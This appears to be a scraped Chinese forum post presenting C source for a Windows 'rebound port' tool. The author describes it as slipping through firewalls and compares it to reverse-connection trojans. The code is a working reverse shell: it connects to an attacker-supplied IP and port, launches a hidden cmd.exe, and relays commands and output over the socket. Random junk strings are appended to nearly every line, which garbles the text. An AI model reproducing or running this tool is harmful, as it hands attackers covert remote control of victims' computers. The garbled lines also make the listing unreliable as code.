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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ht+ng  
:|`' \%zW-  
/* ============================== @z"Zj 3ti  
Rebound port in Windows NT 8yz A W&q  
By wind,2006/7 idnn%iO  
===============================*/ SF+ ^dPwj  
#include +4\JY"oi  
#include }<7Dyn,  
^k&zX!W  
#pragma comment(lib,"wsock32.lib") I9*o[Jp5  
 z:9  
void OutputShell(); xou7j   
SOCKET sClient; Dntcv|%u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $D5[12X  
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void main(int argc,char **argv) _/ j44q  
{ eHK}U+"\  
WSADATA stWsaData; M['25[  
int nRet; <y'B !d#  
SOCKADDR_IN stSaiClient,stSaiServer; toPA@V  
XOa<R  
if(argc != 3) &=fBqod  
{ Lv,~Mf1|  
printf("Useage:\n\rRebound DestIP DestPort\n"); X0b :Oiw  
return; I@cKiB  
} G+4a%?JH  
0K>rc1dy  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9F0B-aZ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^T'+dGU`  
M_MiY|%V/K  
stSaiClient.sin_family = AF_INET; [ /*$?PXt  
stSaiClient.sin_port = htons(0); ~B>I?j  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -qfd)A6]  
#[sC H  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w$A*|^w1  
{ GW'=/ z7  
printf("Bind Socket Failed!\n"); 6v GcM3M  
return; Gcg`Knr  
} N\H{p %8  
}@@1N3nnxV  
stSaiServer.sin_family = AF_INET; 0LoA-c<Ay  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t(lTXG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !IoD";Oi  
:*t v`:;p  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WP32t@  
{ `@ qSDW!b  
printf("Connect Error!"); <y*#[:i  
return; `h$6MFC/g  
} *[ Wh9 ,H  
OutputShell(); HT A-L>Cee  
} OI %v>ns  
_kH#{4`Hw  
void OutputShell() %P_\7YBC>  
{ fouy??  
char szBuff[1024]; '7>Vmr 6  
SECURITY_ATTRIBUTES stSecurityAttributes; QC4_\V>[  
OSVERSIONINFO stOsversionInfo; tt|U,o  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1|/2%IDUI  
STARTUPINFO stStartupInfo; 4}580mBc  
char *szShell; f: 7Y  
PROCESS_INFORMATION stProcessInformation; ++,mM7a  
unsigned long lBytesRead; K!|=)G3.`  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &>I8^i  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :KX/`   
stSecurityAttributes.lpSecurityDescriptor = 0; XIBw&mWf  
stSecurityAttributes.bInheritHandle = TRUE;  Ea\a:  
W7(OrA!  
}E>2U/wpXY  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &o4L;A#&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _I{&5V~z  
ui9gt"qS`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ih+kh7J-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @GnsW;$*~.  
stStartupInfo.wShowWindow = SW_HIDE; L8bq3Q'p  
stStartupInfo.hStdInput = hReadPipe; [FiXsYb.8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W\} VZY  
A*E4hop[  
GetVersionEx(&stOsversionInfo); BC@"WlD  
aE,x>I 7 D  
switch(stOsversionInfo.dwPlatformId) Om}&`AP};  
{ DMf^>{[  
case 1: i;|% hDNWA  
szShell = "command.com"; M?nnpO  
break;  .)cOu>  
default: &`>*3m(  
szShell = "cmd.exe"; l*X5<b9  
break; r`<e vwIe  
} +bRL.xY  
=PZs'K  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gLpWfT29V  
w_U5w  
send(sClient,szMsg,77,0); U#F(#3/  
while(1) pY8+;w EI  
{ W_sDF; JP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ab_aB+g ]  
if(lBytesRead) xVl90ak  
{ -\NB*|9m|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'Y vW|Iq  
send(sClient,szBuff,lBytesRead,0); i"e) LJz  
} =<e#  2  
else YRYrR|I  
{ ,E>VYkoA  
lBytesRead=recv(sClient,szBuff,1024,0); ![vc/wuf  
if(lBytesRead<=0) break; G&uj}rj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PTePSj1N  
} *=2jteG=3.  
} ZV Gw@3  
fi?[ e?|c@  
return; ?` `+OH  
}
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